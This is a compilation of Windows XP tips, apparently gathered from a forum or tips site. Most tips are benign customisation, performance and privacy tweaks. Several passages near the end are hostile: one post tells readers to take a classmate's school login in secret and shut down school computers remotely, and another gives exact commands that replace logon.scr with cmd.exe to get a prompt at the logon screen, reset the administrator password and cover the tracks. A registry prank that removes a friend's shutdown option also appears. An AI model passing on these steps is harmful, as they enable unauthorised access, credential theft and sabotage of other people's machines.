Microsoft included a firewall in Windows XP to keep you safe from hackers while you cruise the Internet. How do you know that the Internet Connection Firewall is on? Go to the Control Panel and double-click the Network Connections icon. In the dial-up, DSL, or cable connection dialog that appears, check the Status column. If your firewall is on, it should say Firewalled. You can turn the firewall off with the check box, but unless you are going to add a third-party firewall for heightened security, it's best to leave it on.
Now that you know that your firewall is on, how do you know that it's doing its job? Test it with ShieldsUp, the free testing service sponsored by Gibson Research. According to our tests, XP's Internet Connection Firewall kept the computer in full stealth mode. Hackers could not break in and couldn't even see the computer online.
But, given the latest security problems with USB 2.0, etc, you should always go to Windows Update to make sure you have the latest patches, no matter what operating system you use.

The only default icon on XP's desktop is the Recycle Bin, but we think it's a good idea to add a shortcut to Computer Management, a quick and dirty way to get to such important tools as the Event Viewer, Local Users and Groups, Shared Folders, the Device Manager, and Disk Management. To surface this handy management dialog, click Start > Control Panel > Performance and Maintenance > Administrative Tools. Right-click the Computer Management shortcut. Select Copy from the dialog menu. Right-click an empty portion of the desktop and select Paste Shortcut. Use this procedure to add shortcuts to anything else; use Windows Explorer or My Computer to find your target

In XP, your favorite programs are displayed in the top left column of the Start menu. Microsoft starts you off with Internet Explorer and Outlook Express.
Want to display a different set of applications in this spot? Right-click an empty portion of the Start menu's left column and select Properties > Start Menu > Customize. At the bottom, deselect the program you no longer want displayed in the "Show on the Start menu" dialog, and, using Windows Explorer or My Computer, navigate to the program you want instead. Right-click the program and select "Pin to Start menu." To rename the new shortcut, right-click it and select Rename. Note: You can't pin files, just programs.

The Start menu gets more real estate in XP than in previous versions, and it's more customizable. To make the Start menu display only the applications you want, rather than the default determined by Microsoft, right-click in an empty section of the Start menu's left column, and select Properties > Start Menu > Customize. Here you'll find a list of your most frequently used programs. (XP keeps track of what you use and what you don't, then updates this list dynamically.) Don't want your boss to know that Pinball, Solitaire, and Quake all make your list? Go to the General tab, click Clear List, and set the counter to zero.

Gray is definitely out. The folks at Microsoft bathed Windows XP in color. Don't like XP's look? To switch back to the Classic look that resembles Windows 2000, right-click the desktop, select Properties, click the Themes tab, and choose Windows Classic from the drop-down list. Voilà! You're back to comfy shades of blue and gray--not to mention having all those familiar icons.
Click "Switch to Classic view" in the upper-left corner of the Properties dialog to bring back the familiar Control Panel icons of earlier versions of Windows. To get back to a Start menu that looks more like Windows 2000's, right-click in an empty portion of the Start menu's left-hand column, select Properties, and go to the Start Menu tab. Select Classic Start Menu. To bring the new look back, just reverse these steps.

Just open three or four Internet Explorer windows and you won't see them all in a row on your Taskbar, as you did in previous versions of Windows. By default, Windows XP groups similar items on one button. For example, if you have 3 Internet Explorer windows open, you'll see an Explorer item with the number 3 on it. Click it to see a pop-up list of those windows, then select the one you want.
If you would like, Windows XP will display all open windows separately on the Taskbar. Right click a blank area of the Taskbar and select Properties. Under Taskbar Properties, deselect Group Similar Taskbar Buttons, then click OK.

Like many other audio players, Windows Media Player rushes out to the Internet to find information for you when you play a CD. Some of this information, such as song titles and album art, is useful, but Media Player also identifies your copy of Media Player to the site where it's getting data. Why? According to the help file, "The server uses this unique identifier to monitor your connection. By monitoring your connection, the server can make adjustments to increase the playback quality and to alert you about events that occur when receiving streams over the Internet."
If you're disturbed by this exchange of information, here's how to stop it. In Windows Media Player, click Tools > Options and go to the Player tab. Notice the option that says "Allow Internet sites to uniquely identify your player?" Turn it off.

Windows XP comes bundled with Windows Media Player 8.0. While Media Player plays just about any digital media file format--it supports 35, including MP3, it records music only in the Windows Media Audio, or WMA, format. The reason? Content protection.
When recording, or ripping, music from CDs, Media Player allows you to make protected recordings so that no one will be able to copy the recording from one computer to another. You can turn copy protection on or off on the Copy Music tab by checking or unchecking the box that says Protect Content.

A lot of people want to know how to remove the MSN Messenger service from XP... here's how:
Locate SYSOC.INF in the \Windows\INF folder (hidden file and folder), Open it in Notepad and locate the line: msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
Remove the word "hide" from the line and save the file. You will now have an entry in add/remove programs. Do what you will :)
OR (XP Pro Only) leave it installed, but tell Windows to never let it run. If you're running XP Professional, you can use GPEDIT.MSC to prevent Messenger from loading. Otherwise, even disabling it in startup won't cause it to "always" not run. NOTE: Outlook, Outlook Express and some Microsoft web pages can still make it load.

Start, Run and enter GPEDIT.MSC

Computer Configuration > Administrative Templates > Windows Components > Windows Messenger

You can now modify whether it starts initially and/or whether it's to run at all. UPDATE: I have recieved some email that say this fix slows down outlook when starting, that is because outlook wants to start messenger when it starts, the easiest and fastest way to disable messenger and still have a quickj starttime with outlook is to rename the exe file, located here c:\program files\messenger\msmsgs.exe, to something other than msmsgs.exe, such as msmsgsnew.exe.

This article describes how to install the NetBEUI protocol on a Windows XP-based computer. This may be useful because the NetBEUI protocol is not included in the list of installable protocols in Windows XP even though the files that are needed to install the protocol are included with the installation CD-ROM. It is important to note that the NetBEUI protocol is not supported on Windows XP.
The Netnbf.inf and Nbf.sys files are the files that are needed to install the NetBEUI protocol. To install the NetBEUI protocol:

1. Click Start, click Control Panel, and then double-click Network Connections.
2. Right-click the adapter you want to add NetBEUI to, and then click Properties.
3. On the General tab, click Install.
4. Click Protocol, and then click Add.
5. Click Have Disk, insert your Windows XP CD-ROM, open the Valueadd\msft\net\netbeui folder, click the Netnbf.inf file, and then click Open.
6. Click OK, and then click OK to complete the installation.

After you have run Windows XP for a while, you may receive this message when you log on: "Your password will expire in 14 days.....".
By default, Windows XP is set up with passwords which will expire after 42 days. 14 days in advance, Windows will start warning you of this fact. If you do not want your passwords to expire:

1. Go to Start > Run and in the Open: box type control userpasswords2
2. Select the Advanced tab in the User Accounts window
3. Press the Advanced button below the Advanced user management header
4. Select Users in the Local Users and Groups
5. In the right pane, right-click the user name for which you want to change the setting, and select Properties
6. On the General tab, check Password never expires
7. Click Apply and OK (all the way out)

This tweak is for broad band cable connections on stand alone machines with winXP professional version - might work on Home version also. It will probably work with networked machines as well but I haven't tried it in that configuration. This is for windows XP only, it does not work on win2000.
I use 3 Com cards so I don't know how it works on others at this point. It does not involve editing the registry. This tweak assumes that you have let winXP create a connection on install for your cable modem/NIC combination and that your connection has tcp/ip - QoS - file and print sharing - and client for microsoft networks , only, installed. It also assumes that winxp will detect your NIC and has in-box drivers for it. If it doesn't do not try this.
In the "My Network Places" properties (right click on the desktop icon and choose properties), highlight the connection then at the menu bar choose "Advanced" then "Advanced Settings". Uncheck the two boxes in the lower half for the bindings for File and Printer sharing and Client for MS networks. Click OK

1. From the windows XP cd in the support directory from the support cab, extract the file netcap.exe and place it in a directory on your hard drive or even in the root of your C:\ drive.
2. next, open up a command prompt window and change directories to where you put netcap.exe. then type "netcap/?". It will list some commands that are available for netcap and a netmon driver will be installed. At the bottom you will see your adapters. You should see two of them if using a 3Com card. One will be for LAN and the other will be for WAN something or other.
3. Next type "netcap/Remove". This will remove the netmon driver.
4. Open up control panel / system / dev man and look at your network adapters. You should now see two of them and one will have a yellow ! on it. Right click on the one without the yellow ! and choose uninstall. YES! you are uninstalling your network adapter, continue with the uninstall. Do not restart yet.
5. Check your connection properties to make sure that no connection exists. If you get a wizard just cancel out of it.
6. Now re-start the machine.
7. After re-start go to your connection properties again and you should have a new connection called "Local area connection 2". highlight the connection then at the menu bar choose "Advanced" then "Advanced Settings". Uncheck the two boxes in the lower half for the bindings for File and Printer sharing and Client for MS networks. Click OK.
8. Choose connection properties and uncheck the "QOS" box
9. Re-start the machine
10. after restart enjoy the increased responsivness of IE, faster page loading, and a connection speed boost.

Why it works, it seems that windows XP, in its zeal to make sure every base is covered installs two seperate versions of the NIC card. One you do not normally see in any properties. Remember the "netcap/?" command above showing two different adapters? The LAN one is the one you see. The invisible one loads everything down and its like your running two separate cards together, sharing a connection among two cards, this method breaks this "bond" and allows the NIC to run un-hindered.

There are 3 tweaks you can make to change how XP uses memory.
Open Regedit and Find HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\

Disable Paging Executive:
XP pages data from RAM memory to the hard drive. We can stop this happening and keep more data in RAM, resulting in better performance. Users with a large amount of RAM (256MB+) should use this setting. The setting we change to disable the ’Paging Executive’, is DisablePagingExecutive. Changing the value of this key from 0 to 1 will de-activate memory paging.

System Cache Boost:
Changing the value of the key LargeSystemCache from 0 to 1 will tell XP to allocate all but 4MB of system memory to the file system cache, allowing the XP Kernel to run in memory. The 4MB of memory left is used for disk caching, if more is needed, XP allocates more. Generally, this tweak improves performance by a fair bit but can, in some intensive applications, degrade performance. As with the previous tweak, you should have at least 256MB of RAM before attempting to enable LargeSystemCache. Input/Output Performance:
This improves performance of large file transfers. If this entry does not appear in the registry, you will have to create a REG_DWORD value called IoPageLockLimit. The data for this value is in number of bytes, and defaults to Zero which equates to 512KB on machines that have the value. Most people using this tweak have found maximum performance in the 8 to 16 megabyte range, so you will have to play around with the value to find the best performance. The value is measured in bytes, so if you want, 12MB allocated, it’s 12 * 1024 * 1024, or 12582912. As with all these memory tweaks, you should only use this if you have 256MB or more of RAM. Use your hard drive less for Virtual Memory:
The Windows 98/ME "ConservativeSwapfileUsage=1" optimization does not work for XP.

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

ok i found that if you have someones login for school that is relatively stupid use that so that they dont get in that much trouble because they are ruled out as a major cause what you do i get their login and pass secretively so you can get away scott free

ok onward go to the notepad type in shutdown-i and save as and save it as a bat file close it open it and type in the school number (ask like a tech guy at the school) then the room nunber then the computer number and when your done shutting down computer delete the file and empty the recycling bin

have fun i do it all the time lol

Do you share a computer with other users and want some extra security on your folders? There are two ways to password protect a folder built into Windows XP (for other Windows flavors, there are some freeware/shareware programs out there).

#1 If you have a log in password for your account, this can be used to protect folders from other users. Your hard drive must be formatted using NTFS (which it probably is unless you're dual booting with another operating system). Here's what to do...

Right-click the folder that you want to make private and choose "Properties" (or Alt+Double-click). Go to the "Sharing" tab and check the "Make this folder private" box.


Click Apply . If you do not have a password on your account, a box will pop up asking if you want to assign a password. This must be done if you want to make the folder private, so click Yes . You will need to use your password to log on to your computer from then on.

Type in a password then confirm it. Click the "Create Password" button then close the Password window.

Click OK in the Properties dialog box.

Now anyone else logged on to your computer can't access that file without knowing your password.

#2 If the Folder is Zipped you can give it a unique password.

Just double-click the zipped folder. In the top menu select File then click "Add a Password".


Type a password into the Password box. Then again in the "Confirm Password" box.

Now, you are the only person who can access files in this folder. The folder can be opened allowing the files to be seen, but you are the only one who can access them.

Don't you feel more secure now?

Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.

GO TO RUN

Then

REGEDIT

The see for

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
then Edit these

"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Hey your Windows XP has a very good but hidden feature !

Trick Advantage :
You can leave your work in between and shutdown the PC and resume it next time as it is !
Even I switched off my PC while writing this article and when I reopened it I resumed my article from where i left !

When you want to stop your work and shutdown(Keeping your programs open)
Do The Following :
1. Click start>Turn Off Computer
2. As the Turn Off menu comes up press 'Shift' and 'Stand By' changes to 'Hibernate'
3. Click Hibernate (Shift Kept Pressed)

Your xp will save the work and shutdown !

Now, when you switch it on again it will resume it again !

No loading of windows will take place and you will be resumed to your work as if you had just switched your monitor off and now on again !

Its Amazing !
